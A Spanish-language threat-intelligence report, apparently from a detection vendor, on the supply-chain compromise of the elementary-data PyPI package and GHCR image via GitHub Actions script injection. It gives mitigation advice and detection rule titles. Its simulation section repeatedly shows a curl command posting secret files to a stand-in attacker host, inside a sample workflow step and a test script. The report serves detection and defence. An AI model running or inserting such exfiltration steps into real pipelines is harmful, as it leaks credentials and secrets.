Datos de Elementary comprometidos en PyPI y GHCR a través de lanzamiento falso de GitHub
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Una versión maliciosa del paquete de elementary-data Python, versión 0.23.3, fue subida a PyPI, mientras que una imagen de contenedor comprometida coincidente también fue enviada a GitHub Container Registry. El atacante insertó código malicioso en un flujo de trabajo de GitHub Actions, forjó un lanzamiento firmado y luego abusó del token del flujo de trabajo para publicar los artefactos con puerta trasera. El payload funcionaba como un ladrón de credenciales en tres etapas diseñado para recopilar secretos y exfiltrarlos a un dominio controlado por el atacante. Cualquier entorno que instalara el paquete afectado o descargara la última imagen del contenedor estaba expuesto a la posibilidad de compromiso.
Investigación
La investigación encontró que el ataque comenzó con un comentario en una solicitud de extracción abierta que se insertó directamente en un script de flujo de trabajo, permitiendo la inyección de script. Usando el GITHUB_TOKENdel flujo de trabajo, el atacante creó un commit de lanzamiento falso y activó el proceso de publicación, que luego distribuyó el paquete .wheel troyanizado y la imagen de Docker. El análisis mostró que un archivo malicioso .pth decodificó un envoltorio Base64, descifró el componente final de recolección y recolectó un amplio conjunto de credenciales antes de enviarlas a un dominio de comando y control personalizado a través de curl.
Mitigación
Los mantenedores del proyecto eliminaron la versión maliciosa del paquete de PyPI y borraron la imagen comprometida de GHCR antes de publicar un reemplazo limpio, la versión 0.23.4. StepSecurity agregó la versión maliciosa del paquete y el dominio controlado por el atacante a la lista de bloqueo de Harden-Runner y bloqueó el paquete durante la ejecución de la solicitud de extracción. Los desarrolladores deben fijar versiones exactas de paquetes y digests de imágenes, evitar depender de etiquetas flotantes y auditar las dependencias instaladas en busca de .pth archivos
inesperados.
Los defensores deben buscar la presencia de elementary.pth dentro de site-packages e identificar los sistemas que descargaron el digest de la imagen de Docker sospechosa. Las conexiones salientes al dominio de comando y control conocido deben bloquearse de inmediato. Los equipos de seguridad deben escanear estaciones de trabajo de desarrolladores y entornos de construcción en busca de material secreto expuesto, eliminar cualquier paquete comprometido y rotar las credenciales afectadas. Las líneas CI/CD también deben actualizarse para validar la procedencia de los paquetes y aplicar un fijado estricto de imágenes.
Flujo de Ataque
Detecciones
Posible Infiltración/Exfiltración de Datos / C2 a través de Servicios/Tecnología de Terceros (a través de proxy)
Ver
Posible Infiltración/Exfiltración de Datos / C2 a través de Servicios/Tecnología de Terceros (a través de dns)
Ver
Subida/Descarga remota de archivos a través de herramientas estándar (a través de la línea de comandos)
Ver
IOCs (HashSha1) para detectar: elementary-data Comprometido en PyPI y GHCR: Lanzamiento Forjado Publicado a través de Inyección de Script en GitHub Actions
Ver
Detección de Exfiltración de Datos Maliciosos a través de Inyección de Script en GitHub Actions [Creación de Procesos en Linux]
Ver
Detección de Paquete Malicioso de elementary-data con Ladrón de Credenciales [Evento de Archivos en Linux]
Ver
## Ejecución de Simulación
Requisito previo: La Verificación Previa de Telemetría y Línea Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativas reflejan directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa del Ataque y Comandos:
Un atacante ha comprometido un repositorio que usa GitHub Actions para CI/CD. Agregan un paso malicioso al archivo del flujo de trabajo:- nombre: Exfiltrar datos ejecutar: | bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"Cuando el flujo de trabajo se ejecuta en el corredor de GitHub Actions, el árbol de procesos se ve como:
sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"(proceso padre)curl --data-binary @/tmp/secret_data http://malicious.example.com/loot(proceso hijo)
The
auditdregistro para el paso 2 contiene una línea de comandos con ambosbashandcurl --data-binary, satisfaciendo la condición Sigma. -
Script de Prueba de Regresión:
#!/usr/bin/env bash # # Simulate the malicious GitHub Actions step that should trigger the detection rule. # Creates a temporary file, writes dummy data, then exfiltrates it via curl wrapped in bash. set -euo pipefail # 1. Create dummy secret data tmpfile=$(mktemp /tmp/secret_data.XXXXXX) echo "sensitive_information_$(date +%s)" > "$tmpfile" # 2. Perform the exfiltration using the vulnerable pattern bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot" # 3. Output confirmation for the tester echo "Malicious exfiltration simulated; temp file $tmpfile should be deleted by cleanup." -
Comandos de Limpieza:
#!/usr/bin/env bash # Remove any temporary files created during the simulation rm -f /tmp/secret_data.* # Optionally, stop any lingering curl processes (should not be needed) pkill -f "curl --data-binary" || true